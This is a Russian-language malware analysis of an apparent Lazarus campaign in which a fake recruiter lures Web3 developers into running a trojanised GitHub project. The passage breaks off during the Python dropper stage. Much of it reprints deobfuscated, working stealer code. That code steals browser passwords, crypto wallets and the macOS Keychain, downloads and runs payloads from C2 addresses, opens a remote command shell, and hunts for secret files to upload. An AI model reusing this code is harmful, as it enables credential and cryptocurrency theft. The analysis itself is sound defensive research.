Light mode

Охота на разрабов: вредоносная кампания Lazarus

  • #Атаки
  • #ВПО

О чем материал

Рассказываем о кампании, связанной с группировкой Lazarus и нацеленной на Web3-разработчиков — новой разновидности BeaverTail. 

Одним воскресным вечером мне позвонил коллега: «Слушай, тут один подозрительный репозиторий есть. Хочешь глянуть?» Его смутила функция `eval()` в одной из строчек, которая исполняла колоссально обфусцированный код с внешней ссылки. Как любитель анализировать разные вредоносы, я сразу поднял свою лабу для анализа вирусов и приступил к расследованию...

Как злоумышленники выходят на жертву

Поставим себя на место жертвы. Ты — разработчик: ведешь профиль на LinkedIn, иногда пишешь что-то на GitHub. И вот однажды с тобой связывается незнакомый человек, представляется рекрутером небольшого стартапа и приглашает на интервью. Но для начала предлагает запустить и почитать код из проекта на GitHub. 

Рисунок 1. Репозиторий на GitHub

Как уважающий себя разработчик, ты вписываешь `git clone`, клонируешь проект себе на машину и запускаешь. Тут и начинается самое интересное… 
Ладно, хватит романтизировать вредоносы :)

Репозиторий на GitHub

На первый взгляд, это совершенно обычный репозиторий с проектом Node.js. Он даже немного продокументирован.

Содержимое README.md

```markdown

GoldenCity

**The real estate sector is changing rapidly as new technologies like cryptocurrencies and AR/VR are developed, it is important to understand how these technologies and existing real estate markets work. Developing a responsive real estate platform, a digital housing marketplace, using ReactJS.**

## What is GoldenCity?

**The proposed real estate platform - GoldenCity will serve as a digital marketplace where users can seamlessly browse, display, and purchase properties using advanced technologies such as Augmented Reality (AR) and Virtual Reality (VR), alongside Web3 capabilities. By integrating blockchain technology, the platform will ensure secure transactions and ownership verification. This innovative solution aims to revolutionize the real estate experience for buyers, sellers, and agents.**

![alt text](public/building01.jpg)

![alt text](public/building02.jpg)

![alt text](public/building03.jpg)

## Run Locally

Install dependencies

```bash

npm install

node version 18

```

```

В файле `userController.js` можно заметить подозрительную строку кода (см. рис. 2).

Рисунок 2. Подозрительный код в `userController.js`

Функция `eval()` запускает код из внешней ссылки. Переходим по ней — и видим обфусцированный JS-код (см. рис. 3). Классика!

Рисунок 3. Обфусцированный JS-код

Я деобфусцировал код с помощью webcrack и провел деманглирование всех объектов, чтобы сделать его еще более читаемым. Теперь можно приступать к анализу.

Stage 1. Основной JavaScript-файл

Главный JavaScript-файл нацелен на сбор данных из браузеров (Chrome, Firefox, Brave, Opera, Edge), кражу криптокошельков (Exodus, Solana), сбор учетных записей macOS Keychain, а также скачивание и запуск дополнительной полезной нагрузки.

Основной флоу:

  • `getAbsolutePath(path)` — преобразует символ ~ в абсолютный путь.
  • `testPath(filePath)` — проверяет, существует ли заданный файл.
  • `uploadMozilla()`, `uploadExodus()`, `uploadLocalConfig()`, `uploadKeychain()` и `UpUserData()` — отвечают за сбор информации из разных источников.
  • `Upload()` — отправляет собранные файлы на C2-сервер.
  • `runP()` — скачивает и распаковывает дополнительный payload, а `Xt()` запускает его через Python.
  • `main()` — запускает всю цепочку.

Сбор данных

uploadMozilla()

```jsx

const uploadMozilla = timeStamp => {

const mozillaProfiles = getAbsolutePath("~/") + "/AppData/Roaming/Mozilla/Firefox/Profiles";

let filesToUpload = [];

if (testPath(mozillaProfiles)) {

let mozillaProfileList = [];

try {

mozillaProfileList = fs.readdirSync(mozillaProfiles);

} catch (err) {

mozillaProfileList = [];

}

let profileCounter = 0;

mozillaProfileList.forEach(async profileName => {

let profilePath = path.join(mozillaProfiles, profileName);

if (profilePath.includes("-release")) {

let storagePath = path.join(profilePath, "/storage/default");

let storageDirs = [];

storageDirs = fs.readdirSync(storagePath);

let extensionCounter = 0;

storageDirs.forEach(async extDir => {

if (extDir.includes("moz-extension")) {

let idbPath = path.join(storagePath, extDir);

idbPath = path.join(idbPath, "idb");

let idbFiles = [];

idbFiles = fs.readdirSync(idbPath);

idbFiles.forEach(async fileName => {

if (fileName.includes(".files")) {

let filesDirPath = path.join(idbPath, fileName);

let fileList = [];

fileList = fs.readdirSync(filesDirPath);

fileList.forEach(subFileName => {

if (!fs.statSync(path.join(filesDirPath, subFileName)).isDirectory()) {

let fullSubFilePath = path.join(filesDirPath, subFileName);

const fileOptions = {

filename: profileCounter + "_" + extensionCounter + "_" + subFileName

};

filesToUpload.push({

value: fs.createReadStream(fullSubFilePath),

options: fileOptions

});

}

});

}

});

}

});

extensionCounter += 1;

}

profileCounter += 1;

});

Upload(filesToUpload, timeStamp);

return filesToUpload;

}

};

```

uploadExodus()

```jsx

const uploadExodus = timeStamp => {

let exodusPath = "";

let filesToUpload = [];

if (platform[0] == "w") {

exodusPath = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";

} else if (platform[0] == "d") {

exodusPath = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet";

} else {

exodusPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet";

}

if (testPath(exodusPath)) {

let fileList = [];

try {

fileList = fs.readdirSync(exodusPath);

} catch (err) {

fileList = [];

}

let tempFileIndex = 0;

if (!testPath(getAbsolutePath("~/") + "/.n3")) {

fs_promises.mkdir(getAbsolutePath("~/") + "/.n3");

}

fileList.forEach(async fileName => {

let fullFilePath = path.join(exodusPath, fileName);

try {

fs_promises.copyFile(fullFilePath, getAbsolutePath("~/") + "/.n3/tp" + tempFileIndex);

const fileOptions = {

filename: "73_" + fileName

};

filesToUpload.push({

value: fs.createReadStream(getAbsolutePath("~/") + "/.n3/tp" + tempFileIndex),

options: fileOptions

});

tempFileIndex += 1;

} catch (err) {}

});

}

Upload(filesToUpload, timeStamp);

return filesToUpload;

};

```

uploadLocalConfig()

```jsx

const uploadLocalConfig = async (browserPaths, browserIndex, timeStamp) => {

try {

let basePath = "";

basePath = platform[0] == "d" ? getAbsolutePath("~/") + "/Library/Application Support/" + browserPaths[1] : platform[0] == "l" ? getAbsolutePath("~/") + "/.config/" + browserPaths[2] : getAbsolutePath("~/") + "/AppData/" + browserPaths[0] + "/User Data";

await uploadFiles(basePath, browserIndex + "_", browserIndex == 0, timeStamp);

} catch (err) {}

};

```

uploadKeychain()

```jsx

const uploadKeychain = async timeStamp => {

let filesToUpload = [];

let keychainPath = homeDir + "/Library/Keychains/login.keychain";

if (fs.existsSync(keychainPath)) {

try {

const keychainOptions = {

filename: "logkc-db"

};

filesToUpload.push({

value: fs.createReadStream(keychainPath),

options: keychainOptions

});

} catch (err) {}

} else {

keychainPath += "-db";

if (fs.existsSync(keychainPath)) {

try {

const keychainOptions = {

filename: "logkc-db"

};

filesToUpload.push({

value: fs.createReadStream(keychainPath),

options: keychainOptions

});

} catch (err) {}

}

}

try {

let googleChromeOSX = homeDir + "/Library/Application Support/Google/Chrome";

if (testPath(googleChromeOSX)) {

for (let i = 0; i < 200; i++) {

const profilePath = googleChromeOSX + "/" + (i === 0 ? "Default" : "Profile " + i) + "/Login Data";

try {

if (!testPath(profilePath)) {

continue;

}

const tempFilePath = googleChromeOSX + "/ld_" + i;

const fileOptions = {

filename: "pld_" + i

};

if (testPath(tempFilePath)) {

filesToUpload.push({

value: fs.createReadStream(tempFilePath),

options: fileOptions

});

} else {

fs.copyFile(profilePath, tempFilePath, error => {

const fileOptionsInner = {

filename: "pld_" + i

};

let fileList = [{

value: fs.createReadStream(profilePath),

options: fileOptionsInner

}];

Upload(fileList, timeStamp);

});

}

} catch (err) {}

}

}

} catch (err) {}

try {

let braveBrowserPath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";

if (testPath(braveBrowserPath)) {

for (let i = 0; i < 200; i++) {

const profilePath = braveBrowserPath + "/" + (i === 0 ? "Default" : "Profile " + i);

try {

if (!testPath(profilePath)) {

continue;

}

const loginDataPath = profilePath + "/Login Data";

const fileOptions = {

filename: "brld_" + i

};

if (testPath(loginDataPath)) {

filesToUpload.push({

value: fs.createReadStream(loginDataPath),

options: fileOptions

});

} else {

fs.copyFile(profilePath, loginDataPath, error => {

const fileOptionsInner = {

filename: "brld_" + i

};

let fileList = [{

value: fs.createReadStream(profilePath),

options: fileOptionsInner

}];

Upload(fileList, timeStamp);

});

}

} catch (err) {}

}

}

} catch (err) {}

Upload(filesToUpload, timeStamp);

return filesToUpload;

};

```

UpUserData()

```jsx

const UpUserData = async (browserPaths, browserIndex, timeStamp) => {

let filesToUpload = [];

let basePath = "";

basePath = platform[0] == "d" ? getAbsolutePath("~/") + "/Library/Application Support/" + browserPaths[1] : platform[0] == "l" ? getAbsolutePath("~/") + "/.config/" + browserPaths[2] : getAbsolutePath("~/") + "/AppData/" + browserPaths[0] + "/User Data";

let localStatePath = basePath + "/Local State";

if (fs.existsSync(localStatePath)) {

try {

const fileOptions = {

filename: browserIndex + "_lst"

};

filesToUpload.push({

value: fs.createReadStream(localStatePath),

options: fileOptions

});

} catch (err) {}

}

try {

if (testPath(basePath)) {

for (let i = 0; i < 200; i++) {

const profilePath = basePath + "/" + (i === 0 ? "Default" : "Profile " + i);

try {

if (!testPath(profilePath)) {

continue;

}

const loginDataPath = profilePath + "/Login Data";

if (!testPath(loginDataPath)) {

continue;

}

const fileOptions = {

filename: browserIndex + "_" + i + "_uld"

};

filesToUpload.push({

value: fs.createReadStream(loginDataPath),

options: fileOptions

});

} catch (err) {}

}

}

} catch (err) {}

Upload(filesToUpload, timeStamp);

return filesToUpload;

};

```

Не буду сильно душнить на объяснении этих функций: они занимаются банальным сбором пользовательской информации, ориентируясь на проверки ОС. Отдельно стоит упомянуть:

  • uploadMozilla() занимается анализом профиля браузера Firefox и извлекает оттуда сохраненные пароли и куки, которые затем подготавливаются для отправки на C2-сервер. 
  • uploadExodus() ищет директории и файлы, связанные с криптокошельком Exodus, извлекает информацию о кошельках и возможных приватных ключах. 
  • uploadLocalConfig() сканирует папки локальных конфигураций браузеров Chrome, Brave и Opera, забирает данные автозаполнения, истории входов и сессионные токены. 
  • uploadKeychain() предназначена для macOS: она захватывает содержимое связки ключей, где хранятся пароли приложений и системные учетные данные. 
  • UpUserData() ориентирован на захват данных профиля пользователя, включая настройки и зашифрованные данные браузеров. 

Отправка собранной информации

Собранная инфрмация отправляется на C2-сервер.

Upload()

```jsx

const Upload = (filesList, timeStamp) => {

const formData = {

type: "99"

};

formData.hid = "73_" + hostname;

formData.uts = timeStamp;

formData.multi_file = filesList;

try {

if (filesList.length > 0) {

const requestOptions = {

url: "<http://107.189.16.122:1224/uploads>",

formData: formData

};

request.post(requestOptions, (error, response, body) => {});

}

} catch (error) {}

};

```

Скачивание и запуск полезной нагрузки

Отметим, что наш JS-файл не только занимается сбором и отправкой критической информации, но и подгружает дополнительный Python-файл.

```jsx

const runP = () => {

const pZi = tmpDir + "\\\\p.zi";

const p2zip = tmpDir + "\\\\p2.zip";

if (fileSize >= 51476596) {

return;

}

if (fs.existsSync(pZi)) {

try {

var fileStats = fs.statSync(pZi);

if (fileStats.size >= 51476596) {

fileSize = fileStats.size;

fs.rename(pZi, p2zip, err => {

if (err) {

throw err;

}

extractFile(p2zip);

});

} else {

if (fileSize < fileStats.size) {

fileSize = fileStats.size;

} else {

fs.rmSync(pZi);

fileSize = 0;

}

Ht();

}

} catch (err) {}

} else {

ex("curl -Lo \\"" + pZi + "\\" \\"<http://107.189.16.122:1224/pdown\\>"", (error, stdout, stderr) => {

if (error) {

fileSize = 0;

Ht();

return;

}

try {

fileSize = 51476596;

fs.renameSync(pZi, p2zip);

extractFile(p2zip);

} catch (err) {}

});

}

};

```

Функция `runP` отвечает за загрузку и проверку дополнительного вредоносного файла. Сначала она проверяет, существует ли локальный файл `p.zi` в папке с временными файлами. Если файл найден, его размер сверяется с ожидаемым: при совпадении файл переименовывается в `p2.zip` и распаковывается, в противном случае — удаляется. Если файла нет, скрипт скачивает его с управляющего сервера по указанному адресу. Таким образом, `runP` гарантирует, что на устройстве будет только целый и корректный файл для дальнейшего заражения.

Оператор `Ht()`, который вызывается в определенных строках функции `runP`, занимается повторным запуском этой функции.

```jsx

const Xt = async () => await new Promise((resolve, reject) => {

if (platform[0] == "w") {

if (fs.existsSync(homeDir + "\\\\.pyp\\\\python.exe")) {

(() => {

const npl = homeDir + "/.npl";

const execCommand = "\\"" + homeDir + "\\\\.pyp\\\\python.exe\\" \\"" + npl + "\\"";

try {

fs.rmSync(npl);

} catch (err) {}

request.get("<http://107.189.16.122:1224/client/99/73>", (err, response, data) => {

if (!err) {

try {

fs.writeFileSync(npl, data);

ex(execCommand, (error, stdout, stderr) => {});

} catch (err) {}

}

});

})();

} else {

runP();

}

} else {

(() => {

request.get("<http://107.189.16.122:1224/client/99/73>", (err, response, data) => {

if (!err) {

fs.writeFileSync(homeDir + "/.npl", data);

ex("python3 \\"" + homeDir + "/.npl\\"", (error, stdout, stderr) => {});

}

});

})();

}

});

```

Эта часть кода запускает только что скачанную полезную нагрузку.

  • Windows: если файл ~/.pyp/python.exe существует, скрипт из /client/99/73 сохраняется как ~/.npl и запускается. В противном случае запускается `runP`. 
  • Linux и macOS: нагрузка запускается через скрипт через `python3`.

Большая красная кнопка

Здесь и начинается весь оркестр!

```jsx

const main = async () => {

try {

const currentTime = Math.round(new Date().getTime() / 1000);

await (async () => {

try {

await uploadLocalConfig(Q, 0, currentTime);

await uploadLocalConfig(R, 1, currentTime);

await uploadLocalConfig(X, 2, currentTime);

uploadMozilla(currentTime);

uploadExodus(currentTime);

if (platform[0] == "w") {

await uploadFiles(getAbsolutePath("~/") + "/AppData/Local/Microsoft/Edge/User Data", "3_", false, currentTime);

}

if (platform[0] == "d") {

await uploadKeychain(currentTime);

} else {

await UpUserData(Q, 0, currentTime);

await UpUserData(R, 1, currentTime);

await UpUserData(X, 2, currentTime);

}

} catch (err) {}

})();

Xt();

} catch (err) {}

};

main();

Xt();

let Ct = setInterval(() => {

if ((M += 1) < 2) {

main();

} else {

clearInterval(Ct);

}

}, 30000);

```

Перед нами функция, которая объединяет все вышеупомянутые процедуры: 

  • `main` получает временную метку, вызывает все функции сбора информации, затем запускает `Xt`.
  • `Ct` дважды заставляет `main` запускаться через каждые 30 секунд.

Одна из ранних версий скрипта заканчивается на этом этапе. Однако 25 апреля 2025 г.  я попробовал снова сделать запрос на сервер, где хранилась полезная нагрузка, и обнаружил, что скрипт был модифицирован.

Кража паролей из Chrome

```jsx

const os = require("os");

const fs = require("fs");

const path = require("path");

const axios = require("axios");

const http = require("http");

const {

execSync,

spawn

} = require("child_process");

process.on("uncaughtException", a => {});

process.on("unhandledRejection", a => {});

const m = "144.172.96.35";

const usu = "144.172.96.35";

const uid = "89f1c0a7d2b6e453a0e9f4d1c3b8a760";

const p = 4101;

const upt = 4106;

const ukey = 73;

const t = 1;

async function start() {

socketServer();

}

const socketServer = async () => {

const c = "const fs = require(\"fs\");\nconst path = require(\"path\");\nconst sqlite3 = require(\"sqlite3\").verbose();\nconst crypto = require(\"crypto\");\nconst axios = require(\"axios\");\nconst os = require(\"os\");\nconst { execSync } = require(\"child_process\");\n\nconst CHROME_PATH_LOCAL_STATE = path.join(\n os.homedir(),\n \"AppData\",\n \"Local\",\n \"Google\",\n \"Chrome\",\n \"User Data\",\n \"Local State\"\n);\nconst CHROME_PATH = path.join(\n os.homedir(),\n \"AppData\",\n \"Local\",\n \"Google\",\n \"Chrome\",\n \"User Data\"\n);\nasync function sleep(ms) {\n return new Promise((resolve) => setTimeout(resolve, ms));\n}\nfunction getSecretKey() {\n try {\n const localState = JSON.parse(\n fs.readFileSync(CHROME_PATH_LOCAL_STATE, \"utf-8\")\n );\n const encryptedKeyBase64 = localState.os_crypt.encrypted_key;\n const encryptedKey = Buffer.from(encryptedKeyBase64, \"base64\").slice(5);\n const decryptedKey = execSync(\n `powershell -Command \"Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String('${encryptedKey.toString(\n \"base64\"\n )}'), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)\"`, { windowsHide: true }\n ).toString(\"binary\");\n const decryptedArr = decryptedKey.split(\"\\r\\n\");\n const decryptedData = Buffer.from(\n decryptedArr.splice(0, decryptedArr.length - 1)\n );\n return decryptedData;\n } catch (error) {\n return null;\n }\n}\nfunction decryptPayload(cipher, payload) {\n return Buffer.concat([cipher.update(payload), cipher.final()]);\n}\nfunction generateCipher(aesKey, iv) {\n return crypto.createCipheriv(\"aes-256-gcm\", aesKey, iv);\n}\nfunction decryptPassword(ciphertext, secretKey) {\n try {\n const initializationVector = ciphertext.slice(3, 15);\n const encryptedPassword = ciphertext.slice(15, ciphertext.length - 16);\n const cipher = generateCipher(secretKey, initializationVector);\n\n const decryptedPass = decryptPayload(cipher, encryptedPassword);\n return decryptedPass.toString(\"utf8\");\n } catch (e) {\n return \"\";\n }\n}\nfunction getDbConnection(chromePathLoginDb) {\n try {\n fs.copyFileSync(chromePathLoginDb, os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n return new sqlite3.Database(os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n } catch (error) {\n return null;\n }\n}\n(async () => {\n try {\n const secretKey = getSecretKey();\n\n if (!secretKey) return;\n let passwords = [];\n const folders = fs\n .readdirSync(CHROME_PATH)\n .filter((folder) => /^Profile.*|^Default$/.test(folder));\n for (const folder of folders) {\n const chromePathLoginDb = path.join(CHROME_PATH, folder, \"Login Data\");\n const db = getDbConnection(chromePathLoginDb); if (db && secretKey) {\n db.serialize(() => {\n db.each(\n \"SELECT action_url, username_value, password_value FROM logins\",\n (err, row) => {\n if (err) {\n return;\n }\n const {\n action_url: url,\n username_value: username,\n password_value: ciphertext,\n } = row;\n if (url && ciphertext) {\n const decryptedPassword = decryptPassword(\n ciphertext,\n secretKey\n );\n passwords.push({\n username: username,\n password: decryptedPassword,\n url: url,\n folder: folder,\n });\n }\n }\n );\n }); db.close(); await sleep(300);\n fs.unlinkSync(os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n }\n }\n axios\n .get(\"http://" + m + "/api/service/getpwd\", { params: { info: passwords, uKey: \"" + ukey + "\", t:\"" + t + "\", host: os.hostname(), userInfo: os.userInfo() } })\n .then((r) => {}) \n .catch((e) => {\n });\n } catch (error) {}\n})();\n";

try {

const h = {

windowsHide: true,

detached: true

};

const i = spawn("node", ["-e", c], h);

} catch (j) {}

```

Этот код предназначен для кражи логинов и паролей из браузера Google Chrome на Windows. Скрипт извлекает зашифрованные данные из файла Login Data, расшифровывает их с помощью ключа из Local State и отправляет на C2-сервер через GET-запрос. Отмечу, что он полагается на Windows-специфичные пути и PowerShell, что делает его неработоспособным на Linux.

WebSocket и мониторинг буфера обмена

```jsx

const d = "\n const axios = require('axios');\n const os = require(\"os\");\n const fs = require(\"fs\"); const { execSync, exec } = require('child_process');\n const uid = '" + uid + "';\n const makeLog = async (message) => {\n try {\n axios\n .post('http://" + m + "/api/service/makelog', {\n message: message,\n host: os.hostname(),\n uid: uid, \n t: \"" + t + "\"\n })\n .catch((err) => {});\n } catch (e) {}\n };\n try {\n const setHeader = async function () {\n try{\n let isVM = false;\n if(os.platform() == \"win32\") {\n let output = execSync(\"wmic computersystem get model,manufacturer\", {windowsHide: true});\n output = output.toString().toLowerCase();\n if (\n output.indexOf(\"vmware\") > -1 ||\n output.includes(\"virtualbox\") ||\n output.includes(\"microsoft corporation\") ||\n output.includes(\"qemu\")\n ) {\n isVM = true;\n } \n }\n else if (os.platform() == \"darwin\") {\n let output = execSync(\"system_profiler SPHardwareDataType\", {windowsHide: true}) ;\n output = output.toString().toLowerCase();\n if (/vmware|virtualbox|qemu|parallels|virtual/i.test(output)) {\n isVM = true;\n }\n }\n else if (os.platform() == \"linux\") {\n let output = fs.readFileSync('/proc/cpuinfo', 'utf8').toLowerCase();\n if (\n /hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(output)\n ) {\n isVM = true;\n } \n }\n return await axios.post('http://" + m + "/api/service/process/'+uid, {\n OS: os.type(),\n platform: os.platform(),\n release: os.release() + (isVM ? \" (VM)\":\"(Local)\"),\n host: os.hostname(),\n userInfo: os.userInfo(),\n uid: uid, \n t: \"" + t + "\"\n });\n }\n catch(e) {\n makeLog(e.message)\n }\n };\n setHeader();\n makeLog('Installing socket.io-client');\n execSync(\n 'npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent',\n { windowsHide: true }\n );\n // } // client.js\n let io = require('socket.io-client'); // Execute the command using cmd.exe in hidden mode // Connect to the server\n // while (true) {\n const socketServer = () => {\n const socket = io('http://" + m + ":" + p + "', {\n reconnectionAttempts: 15,\n reconnectionDelay: 2000,\n timeout: 2000\n }); socket.on('command', (msg) => {\n try {\n exec(msg.message, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, (error, stdout, stderr) => {\n if (error) {\n socket.emit('message', {\n result: error.message,\n msg,\n uid: uid,\n type: 'error', \n t: \"" + t + "\"\n });\n return;\n }\n if (stderr) {\n socket.emit('message', { result: stderr, msg, type: 'stderr' });\n return;\n }\n socket.emit('message', {\n ...msg,\n result: stdout,\n code: msg.code,\n cid: msg.cid,\n sid: msg.sid,\n uid: uid, \n t: \"" + t + "\"\n });\n });\n }\n catch(e) {\n makeLog(e.messge)\n }\n });\n socket.on('whour', (msg) => {\n socket.emit('whoIm', {\n OS: os.type(),\n platform: os.platform(),\n release: os.release(),\n host: os.hostname(),\n userInfo: os.userInfo(),\n uid: uid, \n t: \"" + t + "\"\n });\n }); socket.on('connect', () => {\n }); socket.on('disconnect', () => {});\n };\n socketServer();\n setTimeout(async () => {\n \n let lastClipboardContent = null;\n let timer; // Function to handle clipboard change\n function handleClipboardChange(content) {\n makeLog(content);\n } // Function to watch clipboard with debouncing\n async function watchClipboard() {\n \n if(os.platform() == \"darwin\") { exec(\"pbpaste\", {windowsHide: true, stdio: \"ignore\"}, (error, stdout, stderr) => {\n currentClipboardContent = stdout.trim();\n if (currentClipboardContent !== lastClipboardContent) {\n clearTimeout(timer); // Clear any existing timer\n timer = setTimeout(() => handleClipboardChange(currentClipboardContent), 500); // Debounce delay\n lastClipboardContent = currentClipboardContent;\n }\n },{ windowsHide: true })\n }\n else if(os.platform() == \"win32\"){\n exec(\"powershell Get-Clipboard\", {windowsHide: true, stdio: \"ignore\"}, (error, stdout, stderr) => {\n currentClipboardContent = stdout.trim();\n if (currentClipboardContent !== lastClipboardContent) {\n clearTimeout(timer); // Clear any existing timer\n timer = setTimeout(() => handleClipboardChange(currentClipboardContent), 500); // Debounce delay\n lastClipboardContent = currentClipboardContent;\n }\n },{ windowsHide: true })\n }\n } // Set an interval to check the clipboard\n setInterval(watchClipboard, 500);\n },3000)\n // }\n } catch (e) {\n makeLog(JSON.stringify(e));\n }\n";

try {

const k = spawn("node", ["-e", d], {

windowsHide: true,

detached: true,

stdio: "ignore"

});

} catch (l) {}

```

Этот фрагмент кода отвечает за установку WebSocket-соединения с C2-сервером для выполнения удаленных команд, за мониторинг буфера обмена и отправку информации о системе. Также здесь проверяется, работает ли скрипт на виртуальной машине и логируются ли события на C2. Добавлю, что функциональность мониторинга буфера обмена работает только на Windows.

Поиск и загрузка файлов

```jsx

const g = "\n const os = require(\"os\");\n const { execSync, exec } = require(\"child_process\");\n const rootDir = os.userInfo().homedir + \"\";\n const excludeFolders = [\n \"node_modules\",\n \"AppData\",\n \"vendors\",\n \"vendor\",\n \"public\",\n \"css\",\n \"less\",\n \"scss\",\n \".cache\",\n \".cursor\",\n \".vscode-server\",\n \".cargo\",\n \".local\",\n \".rustup\",\n \".pub-cache\",\n \".Trash\",\n \"anaconda3\",\n \".yarn\",\n \"build\",\n \".next\",\n \".git\",\n \".github\",\n \"cache\",\n \"tmp\",\n \"temp\",\n \"dist\",\n \"library\",\n \"lib\",\n \"imgs\",\n \"img\",\n \"images\",\n \"image\",\n \".config\",\n \".vscode\",\n \".pyp\",\n \".rustup\",\n \".docker\",\n \"manifest\",\n \".expo\",\n \"AppData\",\n \"windows.old\",\n \"pkg\",\n \"package\",\n \"packages\",\n \"openzeppelin\",\n \"prisma\",\n \"pkgs\",\n \"fonts\",\n \"background\",\n \"wallpaper\",\n \"_locales\",\n \"locale\",\n \"locales\",\n \"Program Files\",\n \"Program Files (x86)\",\n \"EFI\",\n \"ProgramData\",\n \"Windows\",\n \"Microsoft\",\n \"$RECYCLE.BIN\",\n \"Visual Studio Code.app\"\n ];\n const searchKey = [\n \"*.env*\",\n \"*metamask*\",\n \"*phantom*\",\n \"*bitcoin*\",\n \"*Trust*\",\n \"*phrase*\",\n \"*secret*\",\n \"*phase*\",\n \"*credential\",\n \"*profile*\",\n \"*account*\",\n \"*mnemonic*\",\n \"*seed*\",\n \"*recovery*\",\n \"*backup*\",\n \"*address*\",\n \"*keypair*\",\n \"*wallet*\",\n \"*my*\",\n \"*screenshot*\",\n \"*.doc\",\n \"*.docx\",\n \"*.pdf\",\n \"*.md\",\n \"*.rtf\",\n \"*.odt\",\n \"*.xls\",\n \"*.xlsx\",\n \"*.txt\",\n \"*.ini\",\n \".secret\",\n \"*.json\",\n \"*.ts\",\n \"*.js\",\n \"*.csv\",\n ];\n const scanDir = async (dirPath) => {\n let command = \"\";\n if (os.platform() == \"win32\") {\n try {\n let command = `dir \"${dirPath}\" /AD /b`;\n const cmdResult = execSync(command, { windowsHide: true });\n try{\n let uploadCommand = `for %f in (${dirPath}${searchKey.join(\n \" \" + dirPath + \"\"\n )}) do curl -X POST -F \"file=@%f\" -H \"path: %f\" -H \"hostname:%COMPUTERNAME%\" -H \"userkey:" + ukey + "\" -H \"t:" + t + "\" http://" + usu + ":" + upt + "/upload\n `;\n execSync(uploadCommand, { windowsHide: true }); } catch (e) {}\n const dirs = cmdResult.toString().split(\"\\r\\n\");\n for (let i in dirs) {\n const dir = dirs[i];\n if (dir == \"\") continue;\n if (excludeFolders.indexOf(dir) > -1) continue;\n await scanDir(dirPath + dir + \"\\\\\");\n }\n } catch (e) {}\n } else {\n command = `find \"${dirPath}\" -maxdepth 1 -type f \\\\( -path \"${excludeFolders.join(`\" -prune -o -path \"`)}\" \\\\) -o \\\\( -iname \"${searchKey.join(\n `\" -o -iname \"`)}\" \\\\) -exec grep -i -E -l '\\\\b(\\\\\")?(0x)?[0-9a-fA-F]{64}(\\\\\")?\\\\b|private_key|[5KL|0-9A-Za-z]{32,44}|5[HJK]{1}[1-9A-za-z]{50,51}' {} + | xargs -I {} curl -X POST -F 'file=@{}' -H 'path: {}' -H \"hostname:$(hostname)\" -H \"userkey:" + ukey + "\" -H \"t:" + t + "\" -H 'Content-Disposition: attachment; filename={}' http://" + usu + ":" + upt + "/upload \\\\;`;\n try {\n const cmdResult = execSync(command, { windowsHide: true });\n } catch (e) {} try {\n const dirCommand = `find \"${dirPath}\" -maxdepth 1 -type d`;\n let dirs = execSync(dirCommand, { windowsHide: true });\n dirs = dirs.toString().split(\"\\n\").slice(1); for (let i in dirs) {\n if (dirs[i] == rootDir + \"/Library\") continue;\n const dirInfo = dirs[i].split(\"/\");\n const dirName = dirInfo[dirInfo.length - 1];\n if (dirName == \"node_modules\") continue;\n if (dirs[i] == \"\") continue;\n if (dirName[0] == \".\") continue;\n scanDir(dirs[i]);\n }\n } catch (e) {}\n }\n }; setTimeout(async () => {\n if (os.platform() == \"win32\") {\n const driveCmd = `wmic logicaldisk get name`;\n let drives = execSync(driveCmd, { windowsHide: true });\n drives = drives.toString().split(\"\\n\");\n drives.shift(); for (let i in drives) {\n const drive = drives[i].replace(/\\r\\r/gi, \"\").trim();\n if (drive == \"\") continue;\n await scanDir(drive + \"\\\\\");\n }\n } else await scanDir(rootDir);\n }, 1000);\n";

try {

const o = spawn("node", ["-e", g], {

windowsHide: true,

detached: true,

stdio: "ignore"

});

} catch (q) {}

};

start();

```

Код отвечает за поиск конфиденциальных файлов (например, ключи криптокошельков, документы) в домашней директории (на Linux) или на всех дисках (на Windows). Для этого используются шаблоны (searchKey) и регулярные выражения для ключей. Найденные файлы загружаются на C2 через curl.

Итак, мы выяснили, что исследуемый код крадет у жертвы критическую информацию, а кроме того, скачивает и запускает скрипт на Python для развития атаки. Давайте проанализируем этот скрипт.

Stage 2. Python-дроппер

Python-скрипт работает как дроппер: проверяет ОС жертвы и устанавливает полезную нагрузку для следующего этапа. Он обфусцирован с помощью base64 и компрессии zlib, поэтому деобфускация заняла всего пару секунд.

Основной флоу:

Импорт `requests` — если это невозможно, запускается установка через pip.

  • `download_payload()` — скачивает первую полезную нагрузку (`~/.n2/pay`). Если загрузка успешна, полезная нагрузка запускается.
  • `download_browse()` — скачивает вторую полезную нагрузку. Если загрузка успешна, полезная нагрузка запускается.

```python

import base64,platform,os,subprocess,sys

try:import requests

except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

master = "go to hell asjdhfjahskdfhadsfjhiqjhfad"

sType = "99"

gType = "73"

ot = platform.system()

home = os.path.expanduser("~")

host1 = "107.189.16.122"

host2 = f'http://{host1}:1224'

pd = os.path.join(home, ".n2")

ap = pd + "/pay"

```

Здесь инициализируются переменные, которые в дальнейшем будут использоваться в коде. А значение переменной `master`, похоже, адресовано нам… ;)

Скачивание и запуск полезной нагрузки

```python

def download_payload():

if os.path.exists(ap):

try:os.remove(ap)

except OSError:return True

try:

if not os.path.exists(pd):os.makedirs(pd)

except:pass

try:

if ot=="Darwin":

# aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)

aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)

with open(ap, 'wb') as f:f.write(aa.content)

else:

aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)

with open(ap, 'wb') as f:f.write(aa.content)

return True

except Exception as e:return False

res=download_payload()

```

